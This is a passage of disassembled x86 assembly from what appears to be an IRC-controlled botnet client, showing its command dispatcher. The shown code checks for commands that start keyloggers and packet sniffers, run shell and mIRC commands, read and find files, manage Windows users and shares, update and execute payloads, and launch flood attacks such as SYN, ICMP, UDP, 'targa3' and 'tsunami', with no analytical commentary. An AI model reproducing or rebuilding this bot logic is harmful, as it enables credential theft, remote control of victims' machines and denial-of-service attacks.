		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_4099D2
		add	esp, 14h
		jmp	loc_40624A
; ---------------------------------------------------------------------------


loc_4057F6:				; CODE XREF: seg000:00404CA5j
		mov	edi, [ebp+10h]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096C8
		push	edi
		push	offset aN	; "n"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096C8
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096A4
		push	edi
		push	offset aJ	; "j"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096A4
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409687
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409687
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964E
		push	edi
		push	offset aR	; "r"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40964E
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40954E
		push	edi
		push	offset aK	; "k"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40954E
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094A0
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094A0
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409451
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409451
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409438
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409438
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40940A
		push	edi
		push	offset aO	; "o"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40940A
		push	edi
		push	offset aServer	; "server"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093E1
		push	edi
		push	offset aSe	; "se"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093E1
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409376
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409376
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409346
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409346
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E7
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092E7
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092AF
		push	edi
		push	offset aDel	; "del"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4092AF
		push	edi
		push	offset aGet	; "get"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091CC
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091CC
		push	edi
		push	offset aList	; "list"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091AD
		push	edi
		push	offset aLi	; "li"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091AD
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090BC
		push	edi
		push	offset aV	; "v"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090BC
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409046
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409046
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FF0
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408FF0
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F65
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408F65
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C90
		push	dword ptr [ebp+18h]
		push	offset aOn	; "on"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C56
		push	20h
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_405B83
		push	offset dword_431F58
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405B83:				; CODE XREF: seg000:00405B77j
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-88h]
		mov	[ebp-0EC4h], eax
		mov	eax, [ebp-4]
		mov	[ebp-0E3Ch], eax
		mov	eax, [ebp-8]
		cmp	esi, ebx
		mov	[ebp-0E38h], eax
		jnz	short loc_405BC5
		mov	esi, offset aM_0 ; "#M"
		push	offset byte_443398
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BC5
		mov	esi, [ebp-88h]


loc_405BC5:				; CODE XREF: seg000:00405BA7j
					; seg000:00405BBDj
		push	esi
		lea	eax, [ebp-0EC0h]
		push	80h
		push	eax
		call	sub_41C030
		lea	eax, [ebp-2C0h]
		push	offset dword_431F28
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	20h
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-0E40h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0EC4h]
		push	ebx
		push	eax
		push	offset loc_4125D7
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-0E40h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_405C45


loc_405C2F:				; CODE XREF: seg000:00405C43j
		cmp	[ebp-0E34h], ebx
		jnz	loc_40820E
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_405C2F
; ---------------------------------------------------------------------------


loc_405C45:				; CODE XREF: seg000:00405C2Dj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_431EEC
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405C56:				; CODE XREF: seg000:00405B67j
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40820E
		push	ebx
		push	20h
		call	sub_40B209
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C86
		push	eax
		push	offset dword_431EB0
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405C86:				; CODE XREF: seg000:00405C79j
		push	offset dword_431E84
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405C90:				; CODE XREF: seg000:00405B50j
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DDF
		push	dword ptr [ebp+18h]
		push	offset aOn	; "on"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DA5
		push	21h
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_405CD2
		push	offset unk_431E5C
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405CD2:				; CODE XREF: seg000:00405CC6j
		mov	eax, [ebp+0Ch]
		mov	esi, [ebp+esi-88h]
		mov	[ebp-0FECh], eax
		mov	eax, [ebp-4]
		mov	[ebp-0F64h], eax
		mov	eax, [ebp-8]
		cmp	esi, ebx
		mov	[ebp-0F60h], eax
		jnz	short loc_405D14
		mov	esi, offset aM_0 ; "#M"
		push	offset byte_443398
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405D14
		mov	esi, [ebp-88h]


loc_405D14:				; CODE XREF: seg000:00405CF6j
					; seg000:00405D0Cj
		push	esi
		lea	eax, [ebp-0FE8h]
		push	80h
		push	eax
		call	sub_41C030
		lea	eax, [ebp-2C0h]
		push	offset unk_431E2C
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	21h
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-0F68h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0FECh]
		push	ebx
		push	eax
		push	offset loc_412C62
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-0F68h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_405D94


loc_405D7E:				; CODE XREF: seg000:00405D92j
		cmp	[ebp-0F5Ch], ebx
		jnz	loc_40820E
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_405D7E
; ---------------------------------------------------------------------------


loc_405D94:				; CODE XREF: seg000:00405D7Cj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_431DF0
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405DA5:				; CODE XREF: seg000:00405CB6j
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40820E
		push	ebx
		push	21h
		call	sub_40B209
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405DD5
		push	eax
		push	offset unk_431DB0
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405DD5:				; CODE XREF: seg000:00405DC8j
		push	offset unk_431D80
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405DDF:				; CODE XREF: seg000:00405C9Fj
		push	edi
		push	offset aKeylog	; "keylog"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405F59
		push	dword ptr [ebp+18h]
		push	offset aOn	; "on"
		call	sub_41C710
		pop	ecx
		mov	edi, offset aFile ; "file"
		test	eax, eax
		pop	ecx
		jz	short loc_405E55
		push	dword ptr [ebp+18h]
		push	edi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E55
		push	dword ptr [ebp+18h]
		push	offset aOff	; "off"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40820E
		push	ebx
		push	23h
		call	sub_40B209
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405E4B
		push	eax
		push	offset dword_431D3C
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405E4B:				; CODE XREF: seg000:00405E3Ej
		push	offset dword_431D10
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405E55:				; CODE XREF: seg000:00405E0Aj
					; seg000:00405E19j
		push	23h
		call	sub_40B256
		test	eax, eax
		pop	ecx
		jle	short loc_405E6B
		push	offset dword_431CF0
		jmp	loc_406E94
; ---------------------------------------------------------------------------


loc_405E6B:				; CODE XREF: seg000:00405E5Fj
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+18h]
		mov	[ebp-0C5Ch], eax
		mov	eax, [ebp-4]
		push	edi
		mov	[ebp-0BD4h], eax
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405E98
		mov	dword ptr [ebp-0BD0h], 1
		jmp	short loc_405EA1
; ---------------------------------------------------------------------------


loc_405E98:				; CODE XREF: seg000:00405E8Aj
		mov	eax, [ebp-8]
		mov	[ebp-0BD0h], eax


loc_405EA1:				; CODE XREF: seg000:00405E96j
		mov	esi, [ebp+esi-88h]
		cmp	esi, ebx
		jnz	short loc_405EC8
		mov	esi, offset aM	; "#M"
		push	offset byte_443398
		push	esi
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405EC8
		mov	esi, [ebp-88h]


loc_405EC8:				; CODE XREF: seg000:00405EAAj
					; seg000:00405EC0j
		push	esi
		lea	eax, [ebp-0C54h]
		push	80h
		push	eax
		call	sub_41C030
		lea	eax, [ebp-2C0h]
		push	offset dword_431CCC
		push	eax
		call	sub_41BF36
		push	ebx
		lea	eax, [ebp-2C0h]
		push	23h
		push	eax
		call	sub_40B00E
		add	esp, 20h
		mov	[ebp-0C58h], eax
		lea	eax, [ebp-10h]
		push	eax
		lea	eax, [ebp-0C5Ch]
		push	ebx
		push	eax
		push	offset loc_4122F6
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp-0C58h]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_444134[ecx], eax
		jz	short loc_405F48


loc_405F32:				; CODE XREF: seg000:00405F46j
		cmp	[ebp-0BCCh], ebx
		jnz	loc_40820E
		push	32h
		call	ds:dword_427064	; Sleep
		jmp	short loc_405F32
; ---------------------------------------------------------------------------


loc_405F48:				; CODE XREF: seg000:00405F30j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_431C90
		jmp	loc_406E7B
; ---------------------------------------------------------------------------


loc_405F59:				; CODE XREF: seg000:00405DEEj
		push	edi
		push	offset aNet	; "net"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4061F6
		cmp	ds:dword_4D12C0, ebx
		jz	short loc_405F88
		cmp	ds:dword_4D12E8, ebx
		jz	short loc_405F88
		push	offset unk_431C58
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_405F88:				; CODE XREF: seg000:00405F74j
					; seg000:00405F7Cj
		cmp	[ebp-0Ch], ebx
		jz	loc_406C65
		mov	edi, [ebp+esi-88h]
		mov	[ebp+8], ebx
		cmp	edi, ebx
		jz	short loc_405FAD
		push	edi
		push	dword ptr [ebp-0Ch]
		call	sub_41BFB0
		pop	ecx
		mov	[ebp+8], eax
		pop	ecx


loc_405FAD:				; CODE XREF: seg000:00405F9Dj
		push	dword ptr [ebp+18h]
		push	offset aStart	; "start"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406014
		cmp	edi, ebx
		jz	short loc_405FE8
		push	dword ptr [ebp+8]
		push	3


loc_405FC9:				; CODE XREF: seg000:0040602Cj
					; seg000:00406046j ...
		call	sub_418F5A
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		add	esp, 14h
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_405FE8:				; CODE XREF: seg000:00405FC2j
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_419201
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40600A
		push	offset unk_431C34
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_40600A:				; CODE XREF: seg000:00405FFEj
		push	offset unk_431C14
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_406014:				; CODE XREF: seg000:00405FBEj
		push	dword ptr [ebp+18h]
		push	offset aStop	; "stop"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40602E
		push	dword ptr [ebp+8]
		push	4
		jmp	short loc_405FC9
; ---------------------------------------------------------------------------


loc_40602E:				; CODE XREF: seg000:00406025j
		push	dword ptr [ebp+18h]
		push	offset aPause	; "pause"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406048
		push	dword ptr [ebp+8]
		push	5
		jmp	short loc_405FC9
; ---------------------------------------------------------------------------


loc_406048:				; CODE XREF: seg000:0040603Fj
		push	dword ptr [ebp+18h]
		push	offset aContinue ; "continue"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406065
		push	dword ptr [ebp+8]
		push	6
		jmp	loc_405FC9
; ---------------------------------------------------------------------------


loc_406065:				; CODE XREF: seg000:00406059j
		push	dword ptr [ebp+18h]
		push	offset aDelete	; "delete"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_406082
		push	dword ptr [ebp+8]
		push	1
		jmp	loc_405FC9
; ---------------------------------------------------------------------------


loc_406082:				; CODE XREF: seg000:00406076j
		push	dword ptr [ebp+18h]
		push	offset aShare	; "share"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4060FC
		cmp	edi, ebx
		jz	short loc_4060CF
		cmp	[ebp-8FCh], bl
		jz	short loc_4060A7
		push	ebx
		push	edi
		push	1
		jmp	short loc_4060B0
; ---------------------------------------------------------------------------


loc_4060A7:				; CODE XREF: seg000:0040609Fj
		push	dword ptr [ebp+esi-84h]
		push	edi
		push	ebx


loc_4060B0:				; CODE XREF: seg000:004060A5j
		call	sub_41933E
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		add	esp, 18h
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_4060CF:				; CODE XREF: seg000:00406097j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_419533
		add	esp, 10h
		test	eax, eax
		jz	short loc_4060F2
		push	offset unk_431BD8
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4060F2:				; CODE XREF: seg000:004060E6j
		push	offset unk_431BB8
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4060FC:				; CODE XREF: seg000:00406093j
		push	dword ptr [ebp+18h]
		push	offset aUser	; "user"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40619D
		cmp	edi, ebx
		jz	short loc_406170
		cmp	[ebp-8FCh], bl
		jz	short loc_406131
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		push	ebx
		push	edi
		push	1
		jmp	short loc_406151
; ---------------------------------------------------------------------------


loc_406131:				; CODE XREF: seg000:0040611Dj
		push	dword ptr [ebp-4]
		mov	esi, [ebp+esi-84h]
		cmp	esi, ebx
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		jz	short loc_40614D
		push	esi
		push	edi
		push	ebx
		jmp	short loc_406151
; ---------------------------------------------------------------------------


loc_40614D:				; CODE XREF: seg000:00406146j
		push	ebx
		push	edi
		push	2


loc_406151:				; CODE XREF: seg000:0040612Fj
					; seg000:0040614Bj
		call	sub_419654
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		add	esp, 24h
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_406170:				; CODE XREF: seg000:00406115j
		push	ebx
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		call	sub_419B68
		add	esp, 10h
		test	eax, eax
		jz	short loc_406193
		push	offset unk_431B90
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_406193:				; CODE XREF: seg000:00406187j
		push	offset unk_431B70
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_40619D:				; CODE XREF: seg000:0040610Dj
		push	dword ptr [ebp+18h]
		push	offset aSend	; "send"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4061EC
		cmp	edi, ebx
		jz	short loc_4061E2
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-88h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	loc_419E1C
		push	eax
		lea	eax, [ebp-2C0h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BF36
		add	esp, 1Ch
		jmp	loc_406C65
; ---------------------------------------------------------------------------


loc_4061E2:				; CODE XREF: seg000:004061B2j
		push	offset unk_431B44
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4061EC:				; CODE XREF: seg000:004061AEj
		push	offset unk_431B28
		jmp	loc_40854F
; ---------------------------------------------------------------------------


loc_4061F6:				; CODE XREF: seg000:00405F68j
		push	edi
		push	offset aCapture	; "capture"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D3A
		push	edi
		push	offset aCap	; "cap"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408D3A
		push	edi
		push	offset aGethost	; "gethost"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C4C
		push	edi
		push	offset aGh	; "gh"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C4C


loc_40624A:				; CODE XREF: seg000:004057A2j
					; seg000:004057D1j ...
		mov	edi, [ebp+esi-88h]
		cmp	edi, ebx
		mov	[ebp+28h], edi
		jz	loc_401D6C
		push	dword ptr [ebp+10h]
		push	offset aKilllog	; "killlog"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C32
		push	dword ptr [ebp+10h]
		push	offset aKl	; "kl"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408C32
		push	dword ptr [ebp+10h]
		push	offset aAddalias ; "addalias"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF1
		push	dword ptr [ebp+10h]
		push	offset aAa	; "aa"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408BF1
		push	dword ptr [ebp+10h]
		push	offset aPrivmsg_0 ; "privmsg"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B97
		push	dword ptr [ebp+10h]
		push	offset dword_4321D4
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B97
		push	dword ptr [ebp+10h]
		push	offset aAction	; "action"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B25
		push	dword ptr [ebp+10h]
		push	offset aA_0	; "a"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408B25
		push	dword ptr [ebp+10h]
		push	offset aCycle	; "cycle"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AC1
		push	dword ptr [ebp+10h]
		push	offset aCy	; "cy"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408AC1
		push	dword ptr [ebp+10h]
		push	offset aMode	; "mode"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A83
		push	dword ptr [ebp+10h]
		push	offset aM_1	; "m"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A83
		push	dword ptr [ebp+10h]
		push	offset aC_raw	; "c_raw"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A17
		push	dword ptr [ebp+10h]
		push	offset aC_r	; "c_r"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408A17
		push	dword ptr [ebp+10h]
		push	offset aC_mode	; "c_mode"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408994
		push	dword ptr [ebp+10h]
		push	offset aC_m	; "c_m"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408994
		push	dword ptr [ebp+10h]
		push	offset aC_nick	; "c_nick"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408927
		push	dword ptr [ebp+10h]
		push	offset aC_n	; "c_n"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408927
		push	dword ptr [ebp+10h]
		push	offset aC_join	; "c_join"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408901
		push	dword ptr [ebp+10h]
		push	offset aC_j	; "c_j"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408901
		push	dword ptr [ebp+10h]
		push	offset aC_part	; "c_part"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40889D
		push	dword ptr [ebp+10h]
		push	offset aC_p	; "c_p"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40889D
		push	dword ptr [ebp+10h]
		push	offset aTarga3	; "targa3"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087CB
		push	dword ptr [ebp+10h]
		push	offset aT3	; "t3"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4087CB
		push	dword ptr [ebp+10h]
		push	offset aTsunami	; "tsunami"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086D3
		push	dword ptr [ebp+10h]
		push	offset aTsn	; "tsn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4086D3
		push	dword ptr [ebp+10h]
		push	offset aRepeat	; "repeat"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085FF
		push	dword ptr [ebp+10h]
		push	offset aRp	; "rp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085FF
		push	dword ptr [ebp+10h]
		push	offset aDelay	; "delay"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408562
		push	dword ptr [ebp+10h]
		push	offset aDe	; "de"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408562
		push	dword ptr [ebp+10h]
		push	offset aUpdate	; "update"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083D7
		push	dword ptr [ebp+10h]
		push	offset aU11p	; "u11p"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083D7
		push	dword ptr [ebp+10h]
		push	offset aExecute	; "execute"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408344
		push	dword ptr [ebp+10h]
		push	offset aE	; "e"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408344
		push	dword ptr [ebp+10h]
		push	offset aFindfile ; "findfile"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408238
		push	dword ptr [ebp+10h]
		push	offset aFf	; "ff"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408238
		push	dword ptr [ebp+10h]
		push	offset aRename	; "rename"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081C2
		push	dword ptr [ebp+10h]
		push	offset aMv	; "mv"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4081C2
		push	dword ptr [ebp+10h]
		push	offset aIcmpflood ; "icmpflood"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080CB
		push	dword ptr [ebp+10h]
		push	offset aIcmp	; "icmp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4080CB
		mov	eax, [ebp+esi-84h]
		cmp	eax, ebx
		mov	[ebp+8], eax
		jz	loc_401D6C
		push	dword ptr [ebp+10h]
		push	offset aClone_0	; "clone"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FE3
		push	dword ptr [ebp+10h]
		push	offset aC	; "c"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407FE3
		push	dword ptr [ebp+10h]
		push	offset aUsa_syn	; "usa.syn"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EEA
		push	dword ptr [ebp+10h]
		push	offset aUsa_ack	; "usa.ack"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EEA
		push	dword ptr [ebp+10h]
		push	offset aUsa_rm	; "usa.rm"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407EEA
		push	dword ptr [ebp+10h]
		push	offset aWisdom_udp ; "wisdom.udp"
		call	sub_41C710
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40675D
		push	7Fh
